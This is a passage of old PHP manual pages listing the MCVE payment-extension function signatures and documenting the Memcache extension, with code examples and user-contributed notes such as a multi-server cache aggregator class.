int mcve_force ( resource conn, string username, string password, string trackdata, string account, string expdate, float amount, string authcode, string comments, string clerkid, string stationid, int ptrannum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_enableuser | 上一级 | mcve_getcell


mcve_getcell

(PHP 4 >= 4.2.0, PHP 5)

mcve_getcell -- Get a specific cell from a comma delimited response by column name

Description

string mcve_getcell ( resource conn, int identifier, string column, int row )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_force | 上一级 | mcve_getcellbynum


mcve_getcellbynum

(PHP 4 >= 4.2.0, PHP 5)

mcve_getcellbynum -- Get a specific cell from a comma delimited response by column number

Description

string mcve_getcellbynum ( resource conn, int identifier, int column, int row )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_getcell | 上一级 | mcve_getcommadelimited


mcve_getcommadelimited

(PHP 4 >= 4.2.0, PHP 5)

mcve_getcommadelimited -- Get the RAW comma delimited data returned from MCVE

Description

string mcve_getcommadelimited ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_getcellbynum | 上一级 | mcve_getheader


mcve_getheader

(PHP 4 >= 4.2.0, PHP 5)

mcve_getheader -- Get the name of the column in a comma-delimited response

Description

string mcve_getheader ( resource conn, int identifier, int column_num )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_getcommadelimited | 上一级 | mcve_getuserarg


mcve_getuserarg

(PHP 4 >= 4.2.0, PHP 5)

mcve_getuserarg -- Grab a value from usersetup structure

Description

string mcve_getuserarg ( resource usersetup, int argtype )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_getheader | 上一级 | mcve_getuserparam


mcve_getuserparam

(PHP 4 >= 4.3.0, PHP 5)

mcve_getuserparam -- Get a user response parameter

Description

string mcve_getuserparam ( resource conn, int identifier, int key )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_getuserarg | 上一级 | mcve_gft


mcve_gft

(PHP 4 >= 4.2.0, PHP 5)

mcve_gft -- Audit MCVE for Failed transactions

Description

int mcve_gft ( resource conn, string username, string password, int type, string account, string clerkid, string stationid, string comments, int ptrannum, string startdate, string enddate )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_getuserparam | 上一级 | mcve_gl


mcve_gl

(PHP 4 >= 4.2.0, PHP 5)

mcve_gl -- Audit MCVE for settled transactions

Description

int mcve_gl ( int conn, string username, string password, int type, string account, string batch, string clerkid, string stationid, string comments, int ptrannum, string startdate, string enddate )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_gft | 上一级 | mcve_gut


mcve_gut

(PHP 4 >= 4.2.0, PHP 5)

mcve_gut -- Audit MCVE for Unsettled Transactions

Description

int mcve_gut ( resource conn, string username, string password, int type, string account, string clerkid, string stationid, string comments, int ptrannum, string startdate, string enddate )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_gl | 上一级 | mcve_initconn


mcve_initconn

(PHP 4 >= 4.2.0, PHP 5)

mcve_initconn -- Create and initialize an MCVE_CONN structure

Description

resource mcve_initconn ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_gut | 上一级 | mcve_initengine


mcve_initengine

(PHP 4 >= 4.2.0, PHP 5)

mcve_initengine -- Ready the client for IP/SSL Communication

Description

int mcve_initengine ( string location )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_initconn | 上一级 | mcve_initusersetup


mcve_initusersetup

(PHP 4 >= 4.2.0, PHP 5)

mcve_initusersetup -- Initialize structure to store user data

Description

resource mcve_initusersetup ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_initengine | 上一级 | mcve_iscommadelimited


mcve_iscommadelimited

(PHP 4 >= 4.2.0, PHP 5)

mcve_iscommadelimited -- Checks to see if response is comma delimited

Description

int mcve_iscommadelimited ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_initusersetup | 上一级 | mcve_liststats


mcve_liststats

(PHP 4 >= 4.2.0, PHP 5)

mcve_liststats -- List statistics for all users on MCVE system

Description

int mcve_liststats ( resource conn, string admin_password )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_iscommadelimited | 上一级 | mcve_listusers


mcve_listusers

(PHP 4 >= 4.2.0, PHP 5)

mcve_listusers -- List all users on MCVE system

Description

int mcve_listusers ( resource conn, string admin_password )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_liststats | 上一级 | mcve_maxconntimeout


mcve_maxconntimeout

(PHP 4 >= 4.3.0, PHP 5)

mcve_maxconntimeout -- The maximum amount of time the API will attempt a connection to MCVE

Description

bool mcve_maxconntimeout ( resource conn, int secs )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_listusers | 上一级 | mcve_monitor


mcve_monitor

(PHP 4 >= 4.2.0, PHP 5)

mcve_monitor -- Perform communication with MCVE (send/receive data) Non-blocking

Description

int mcve_monitor ( resource conn )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_maxconntimeout | 上一级 | mcve_numcolumns


mcve_numcolumns

(PHP 4 >= 4.2.0, PHP 5)

mcve_numcolumns -- Number of columns returned in a comma delimited response

Description

int mcve_numcolumns ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_monitor | 上一级 | mcve_numrows


mcve_numrows

(PHP 4 >= 4.2.0, PHP 5)

mcve_numrows -- Number of rows returned in a comma delimited response

Description

int mcve_numrows ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_numcolumns | 上一级 | mcve_override


mcve_override

(PHP 4 >= 4.2.0, PHP 5)

mcve_override -- Send an OVERRIDE to MCVE

Description

int mcve_override ( resource conn, string username, string password, string trackdata, string account, string expdate, float amount, string street, string zip, string cv, string comments, string clerkid, string stationid, int ptrannum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_numrows | 上一级 | mcve_parsecommadelimited


mcve_parsecommadelimited

(PHP 4 >= 4.2.0, PHP 5)

mcve_parsecommadelimited -- Parse the comma delimited response so mcve_getcell, etc will work

Description

int mcve_parsecommadelimited ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_override | 上一级 | mcve_ping


mcve_ping

(PHP 4 >= 4.3.0, PHP 5)

mcve_ping -- Send a ping request to MCVE

Description

int mcve_ping ( resource conn )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_parsecommadelimited | 上一级 | mcve_preauth


mcve_preauth

(PHP 4 >= 4.2.0, PHP 5)

mcve_preauth -- Send a PREAUTHORIZATION to MCVE

Description

int mcve_preauth ( resource conn, string username, string password, string trackdata, string account, string expdate, float amount, string street, string zip, string cv, string comments, string clerkid, string stationid, int ptrannum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_ping | 上一级 | mcve_preauthcompletion


mcve_preauthcompletion

(PHP 4 >= 4.2.0, PHP 5)

mcve_preauthcompletion -- Complete a PREAUTHORIZATION, ready it for settlement

Description

int mcve_preauthcompletion ( resource conn, string username, string password, float finalamount, int sid, int ptrannum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_preauth | 上一级 | mcve_qc


mcve_qc

(PHP 4 >= 4.2.0, PHP 5)

mcve_qc -- Audit MCVE for a list of transactions in the outgoing queue

Description

int mcve_qc ( resource conn, string username, string password, string clerkid, string stationid, string comments, int ptrannum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_preauthcompletion | 上一级 | mcve_responseparam


mcve_responseparam

(PHP 4 >= 4.3.0, PHP 5)

mcve_responseparam -- Get a custom response parameter

Description

string mcve_responseparam ( resource conn, int identifier, string key )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_qc | 上一级 | mcve_return


mcve_return

(PHP 4 >= 4.2.0, PHP 5)

mcve_return -- Issue a RETURN or CREDIT to MCVE

Description

int mcve_return ( int conn, string username, string password, string trackdata, string account, string expdate, float amount, string comments, string clerkid, string stationid, int ptrannum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_responseparam | 上一级 | mcve_returncode


mcve_returncode

(PHP 4 >= 4.2.0, PHP 5)

mcve_returncode -- Grab the exact return code from the transaction

Description

int mcve_returncode ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_return | 上一级 | mcve_returnstatus


mcve_returnstatus

(PHP 4 >= 4.2.0, PHP 5)

mcve_returnstatus -- Check to see if the transaction was successful

Description

int mcve_returnstatus ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_returncode | 上一级 | mcve_sale


mcve_sale

(PHP 4 >= 4.2.0, PHP 5)

mcve_sale -- Send a SALE to MCVE

Description

int mcve_sale ( resource conn, string username, string password, string trackdata, string account, string expdate, float amount, string street, string zip, string cv, string comments, string clerkid, string stationid, int ptrannum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_returnstatus | 上一级 | mcve_setblocking


mcve_setblocking

(PHP 4 >= 4.3.0, PHP 5)

mcve_setblocking -- Set blocking/non-blocking mode for connection

Description

int mcve_setblocking ( resource conn, int tf )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_sale | 上一级 | mcve_setdropfile


mcve_setdropfile

(PHP 4 >= 4.2.0, PHP 5)

mcve_setdropfile -- Set the connection method to Drop-File

Description

int mcve_setdropfile ( resource conn, string directory )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_setblocking | 上一级 | mcve_setip


mcve_setip

(PHP 4 >= 4.2.0, PHP 5)

mcve_setip -- Set the connection method to IP

Description

int mcve_setip ( resource conn, string host, int port )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_setdropfile | 上一级 | mcve_setssl_files


mcve_setssl_files

(PHP 4 >= 4.3.3, PHP 5)

mcve_setssl_files -- Set certificate key files and certificates if server requires client certificate verification

Description

int mcve_setssl_files ( string sslkeyfile, string sslcertfile )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_setip | 上一级 | mcve_setssl


mcve_setssl

(PHP 4 >= 4.2.0, PHP 5)

mcve_setssl -- Set the connection method to SSL

Description

int mcve_setssl ( resource conn, string host, int port )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_setssl_files | 上一级 | mcve_settimeout


mcve_settimeout

(PHP 4 >= 4.2.0, PHP 5)

mcve_settimeout -- Set maximum transaction time (per trans)

Description

int mcve_settimeout ( resource conn, int seconds )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_setssl | 上一级 | mcve_settle


mcve_settle

(PHP 4 >= 4.2.0, PHP 5)

mcve_settle -- Issue a settlement command to do a batch deposit

Description

int mcve_settle ( resource conn, string username, string password, string batch )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_settimeout | 上一级 | mcve_text_avs


mcve_text_avs

(PHP 4 >= 4.3.0, PHP 5)

mcve_text_avs -- Get a textual representation of the return_avs

Description

string mcve_text_avs ( string code )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_settle | 上一级 | mcve_text_code


mcve_text_code

(PHP 4 >= 4.3.0, PHP 5)

mcve_text_code -- Get a textual representation of the return_code

Description

string mcve_text_code ( string code )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_text_avs | 上一级 | mcve_text_cv


mcve_text_cv

(PHP 4 >= 4.3.0, PHP 5)

mcve_text_cv -- Get a textual representation of the return_cv

Description

string mcve_text_cv ( int code )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_text_code | 上一级 | mcve_transactionauth


mcve_transactionauth

(PHP 4 >= 4.2.0, PHP 5)

mcve_transactionauth -- Get the authorization number returned for the transaction (alpha-numeric)

Description

string mcve_transactionauth ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_text_cv | 上一级 | mcve_transactionavs


mcve_transactionavs

(PHP 4 >= 4.2.0, PHP 5)

mcve_transactionavs -- Get the Address Verification return status

Description

int mcve_transactionavs ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transactionauth | 上一级 | mcve_transactionbatch


mcve_transactionbatch

(PHP 4 >= 4.2.0, PHP 5)

mcve_transactionbatch -- Get the batch number associated with the transaction

Description

int mcve_transactionbatch ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transactionavs | 上一级 | mcve_transactioncv


mcve_transactioncv

(PHP 4 >= 4.2.0, PHP 5)

mcve_transactioncv -- Get the CVC2/CVV2/CID return status

Description

int mcve_transactioncv ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transactionbatch | 上一级 | mcve_transactionid


mcve_transactionid

(PHP 4 >= 4.2.0, PHP 5)

mcve_transactionid -- Get the unique system id for the transaction

Description

int mcve_transactionid ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transactioncv | 上一级 | mcve_transactionitem


mcve_transactionitem

(PHP 4 >= 4.2.0, PHP 5)

mcve_transactionitem -- Get the ITEM number in the associated batch for this transaction

Description

int mcve_transactionitem ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transactionid | 上一级 | mcve_transactionssent


mcve_transactionssent

(PHP 4 >= 4.2.0, PHP 5)

mcve_transactionssent -- Check to see if outgoing buffer is clear

Description

int mcve_transactionssent ( resource conn )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transactionitem | 上一级 | mcve_transactiontext


mcve_transactiontext

(PHP 4 >= 4.2.0, PHP 5)

mcve_transactiontext -- Get verbiage (text) return from MCVE or processing institution

Description

string mcve_transactiontext ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transactionssent | 上一级 | mcve_transinqueue


mcve_transinqueue

(PHP 4 >= 4.2.0, PHP 5)

mcve_transinqueue -- Number of transactions in client-queue

Description

int mcve_transinqueue ( resource conn )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transactiontext | 上一级 | mcve_transnew


mcve_transnew

(PHP 4 >= 4.3.0, PHP 5)

mcve_transnew -- Start a new transaction

Description

int mcve_transnew ( resource conn )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transinqueue | 上一级 | mcve_transparam


mcve_transparam

(PHP 4 >= 4.3.0, PHP 5)

mcve_transparam -- Add a parameter to a transaction

Description

int mcve_transparam ( resource conn, int identifier, int key )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transnew | 上一级 | mcve_transsend


mcve_transsend

(PHP 4 >= 4.3.0, PHP 5)

mcve_transsend -- Finalize and send the transaction

Description

int mcve_transsend ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transparam | 上一级 | mcve_ub


mcve_ub

(PHP 4 >= 4.2.0, PHP 5)

mcve_ub -- Get a list of all Unsettled batches

Description

int mcve_ub ( resource conn, string username, string password )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_transsend | 上一级 | mcve_uwait


mcve_uwait

(PHP 4 >= 4.3.0, PHP 5)

mcve_uwait -- Wait x microsecs

Description

int mcve_uwait ( int microsecs )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_ub | 上一级 | mcve_verifyconnection


mcve_verifyconnection

(PHP 4 >= 4.3.0, PHP 5)

mcve_verifyconnection -- Set whether or not to PING upon connect to verify connection

Description

bool mcve_verifyconnection ( resource conn, int tf )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_uwait | 上一级 | mcve_verifysslcert


mcve_verifysslcert

(PHP 4 >= 4.3.0, PHP 5)

mcve_verifysslcert -- Set whether or not to verify the server ssl certificate

Description

bool mcve_verifysslcert ( resource conn, int tf )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_verifyconnection | 上一级 | mcve_void


mcve_void

(PHP 4 >= 4.2.0, PHP 5)

mcve_void -- VOID a transaction in the settlement queue

Description

int mcve_void ( resource conn, string username, string password, int sid, int ptrannum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_verifysslcert | 上一级 | Memcache Functions


Memcache Functions

PHP 手册
后退 前进

LXXII. Memcache Functions

简介

Memcache module provides handy procedural and object oriented interface to memcached, highly effective caching daemon, which was especially designed to decrease database load in dynamic web applications.

This module doesn't have native support of multiple servers, but you still can implement it yourself in your application. Establish several memcached connections, set priority level for each server etc.

More information about memcached can be found at http://www.danga.com/memcached/.

需求

This module uses functions of zlib to support on-the-fly data compression. Zlib is required to install this module.

PHP 4.3.3 or newer is required to use the memcache extension.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/memcache.

In order to use these functions you must compile PHP with Memcache support by using the --enable-memcache[=DIR] option.

Windows users will enable php_memcache.dll inside of php.ini in order to use these functions. 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

预定义常量

表格 1. MemCache Constants

Name | Description
MEMCACHE_COMPRESSED (integer) | Used to turn on-the-fly data compression on with Memcache::set(), Memcache::add() 和 Memcache::replace().

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

There is only one resource type used in memcache module - it's the link identifier for a cache server connection.

范例

例子 1. memcache extension overview example

<?php

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");

$version = $memcache->getVersion();
echo "Server's version: ".$version."<br/>\n";

$tmp_object = new stdClass;
$tmp_object->str_attr = 'test';
$tmp_object->int_attr = 123;

$memcache->set('key', $tmp_object, false, 10) or die ("Failed to save data at the server");
echo "Store data in the cache (data will expire in 10 seconds)<br/>\n";

$get_result = $memcache->get('key');
echo "Data from the cache:<br/>\n";

var_dump($get_result);

?>

In the above example, an object is being saved in the cache and then retrieved back. Object and other non-scalar types are serialized before saving, so it's impossible to store resources (i.e. connection identifiers and others) in the cache.

目录
Memcache::add -- Add an item to the server
Memcache::close -- Close memcached server connection
Memcache::connect -- Open memcached server connection
memcache_debug -- Turn debug output on/off
Memcache::decrement -- Decrement item's value
Memcache::delete -- Delete item from the server
Memcache::flush -- Flush all existing items at the server
Memcache::get -- Retrieve item from the server
Memcache::getStats -- Get statistics of the server
Memcache::getVersion -- Return version of the server
Memcache::increment -- Increment item's value
Memcache::pconnect -- Open memcached server persistent connection
Memcache::replace -- Replace value of the existing item
Memcache::set -- Store data at the server

add a note add a note User Contributed Notes
iliya at pisem dot net
20-Jan-2006 04:35
one more "intelligent" cache aggregator:
https://svn.shadanakar.org/onPHP/ trunk/core/Cache/AggregateCache.class.php
can be used with several cache connectors - memcached, filesystem, etc.
(remove whitespace manually)
Gregor J. Rothfuss
22-Nov-2005 01:18
The next version will have failover. It's been committed three weeks ago. Usage notes here: http://www.codecomments.com/archive367-2005-10-659421.html
Ron
15-Sep-2005 04:19
An improvement to the above:

The above class will cause an error if all cache servers are down.  The preferred behavior is to just have a cache miss (or take no action in the case of write operations) and return false, so the app can run in non-cached mode if all cache servers are down.

To make this happen, simply change the connection usage to look something like this in each affected function.  This code is for the get() function:

       $con = $this->_getConForKey($key);
       if ($con === false) return false;
       return $con->get($key);

Similarly, the affected code in the set() function would look like this:
   $con = $this->_getConForKey($key);
   if ($con === false) return false;
   return $con->set($key, $var, $compress, $expire);

Modify each function accordingly, and if all of your cache servers are down, you can still function (although more slowly due to the 100% cache miss rate).
Ron
15-Sep-2005 01:20
Here is a simple memcached aggregator class which distributes the cache among multiple cache servers.  If a server fails, the load is redistributed automatically.  It uses persistent connections.

The constructor takes an array of arrays, with each inner array representing a server, with a 'server' (string) attribute that is the IP addres or host name of the memcached server, and a 'port' (int) attribute that is the port number on which memcached is running on the server.

All of the existing memcached API functions are implemented except getStats() and getVersion(), which are server-specific.

<?php
class MemcachedAggregator {
   var $connections;

   public function __construct($servers) {
   // Attempt to establish/retrieve persistent connections to all servers.
   // If any of them fail, they just don't get put into our list of active
   // connections.
   $this->connections = array();
   for ($i = 0, $n = count($servers); $i < $n; $i++) {
       $server = $servers[$i];
       $con = memcache_pconnect($server['host'], $server['port']);
       if (!($con == false)) {
       $this->connections[] = $con;
       }
   }
   }

   private function _getConForKey($key) {
   $hashCode = 0;
   for ($i = 0, $len = strlen($key); $i < $len; $i++) {
       $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
   }
   if (($ns = count($this->connections)) > 0) {
       return $this->connections[$hashCode%$ns];
   }
   return false;
   }

   public function debug($on_off) {
   $result = false;
   for ($i = 0; $i < count($connections); $i++) {
       if ($this->connections[$i]->debug($on_off)) $result = true;
   }
   return $result;
   }

   public function flush() {
   $result = false;
   for ($i = 0; $i < count($connections); $i++) {
       if ($this->connections[$i]->flush()) $result = true;
   }
   return $result;
   }

/// The following are not implemented:
///getStats()
///getVersion()

   public function get($key) {
   if (is_array($key)) {
       $dest = array();
       foreach ($key as $subkey) {
       $val = get($subkey);
       if (!($val === false)) $dest[$subkey] = $val;
       }
       return $dest;
   } else {
       return $this->_getConForKey($key)->get($key);
   }
   }

   public function set($key, $var, $compress=0, $expire=0) {
   return $this->_getConForKey($key)->set($key, $var, $compress, $expire);
   }

   public function add($key, $var, $compress=0, $expire=0) {
   return $this->_getConForKey($key)->add($key, $var, $compress, $expire);
   }

   public function replace($key, $var, $compress=0, $expire=0) {
   return $this->_getConForKey($key)->replace
       ($key, $var, $compress, $expire);
   }

   public function delete($key, $timeout=0) {
   return $this->_getConForKey($key)->delete($key, $timeout);
   }

   public function increment($key, $value=1) {
   return $this->_getConForKey($key)->increment($key, $value);
   }

   public function decrement($key, $value=1) {
   return $this->_getConForKey($key)->decrement($key, $value);
   }

}
?>
add a note add a note

后退 | 起点 | 前进
mcve_void | 上一级 | Memcache::add


Memcache::add

(no version information, might be only in CVS)

Memcache::add -- Add an item to the server

Description

bool Memcache::add ( string key, mixed var [, int flag [, int expire]] )

Memcache::add() stores variable var with key only if such key doesn't exist at the server yet. Memcache::add() returns FALSE if such key already exist. For the rest Memcache::add() behaves similarly to Memcache::set().

Also you can use memcache_add() function. See example below.

例子 1. Memcache::add() example

<?php

$memcache_obj = memcache_connect("localhost", 11211);

/* procedural API */
memcache_add($memcache_obj, 'var_key', 'test variable', false, 30);

/* OO API */
$memcache_obj->add('var_key', 'test variable', false, 30);

?>

Memcache::add() returns TRUE on success or FALSE on failure.

See also Memcache::set(), Memcache::replace().

add a note add a note User Contributed Notes
Joel Yliluoma
19-Apr-2006 09:19
Followup to the previous poster:
Instead of replace()+add(), you should of course use set().
adam dot alkins at gmail dot com
13-Feb-2006 01:23
As the documentation notes, this function returns false if it doesn't replace an existing item (You must have added the item before for replace to work). If you're writing a dynamic application which for example caches data from an SQL database, your code should look like this.

<?php

if(!$mc->replace('foo', 'bar'))
{
   $mc->add('foo', 'bar');
}

?>

This ensures that the memcache server is repopulated properly everytime it is restarted.
add a note add a note

后退 | 起点 | 前进
Memcache Functions | 上一级 | Memcache::close


Memcache::close

(no version information, might be only in CVS)

Memcache::close -- Close memcached server connection

Description

bool Memcache::close ( void )

Memcache::close() closes connection to memcached server. This function doesn't close persistent connections, which are closed only during web-server shutdown/restart.

Also you can use memcache_close() function. See example below.

例子 1. Memcache::close() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/*
do something here ..
*/
memcache_close($memcache_obj);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/*
do something here ..
*/
$memcache_obj->close();

?>

Memcache::close() returns FALSE if an error occured.

See also Memcache::connect(), Memcache::pconnect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::add | 上一级 | Memcache::connect


Memcache::connect

(no version information, might be only in CVS)

Memcache::connect -- Open memcached server connection

Description

bool Memcache::connect ( string host [, int port [, int timeout]] )

Memcache::connect() establishes a connection to the memcached server. Parameters host and port point to the host and port, where memcached is listening for connections. Parameter port is optional, it's default value is 11211. Also you can define a timeout (in seconds), which will be used when connecting to the daemon. Think twice before changing the default value - you can loose all the advantages of caching if your connection is too slow.

The connection, which was opened using Memcache::connect() will be automatically closed at the end of script execution. Also you can close it with Memcache::close().

Also you can use memcache_connect() function. See example below.

例子 1. Memcache::connect() example

<?php

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);

/* OO API */

$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);

?>

如果成功则返回 TRUE，失败则返回 FALSE。

See also Memcache::pconnect() and Memcache::close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::close | 上一级 | memcache_debug


memcache_debug

(PECL)

memcache_debug -- Turn debug output on/off

Description

bool memcache_debug ( int on_off )

memcache_debug() turns on debug output if parameter on_off is equal to 1 and turns off if it's 0.

注: memcache_debug() is accessible only if PHP was built with --enable-debug option and always returns TRUE in this case. Otherwise, this function has no effect and always returns FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Memcache::connect | 上一级 | Memcache::decrement


Memcache::decrement

(no version information, might be only in CVS)

Memcache::decrement -- Decrement item's value

Description

int Memcache::decrement ( string key [, int value] )

Memcache::decrement() decrements value of the item by value. Similarly to Memcache::increment(), current value of the item is being converted to numerical and after that value is substracted.

Parameter value is optional. It's default is 1.

注: New item's value will not be less than zero.

注: Do not use Memcache::decrement() with item, which was stored compressed, because consequent call to Memcache::get() will fail.

Also you can use memcache_decrement() function. See example below.

例子 1. Memcache::decrement() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* decrement item by 2 */
$new_value = memcache_decrement($memcache_obj, 'test_item', 2);

/* OO API */
$memcache_obj = new Memcache;
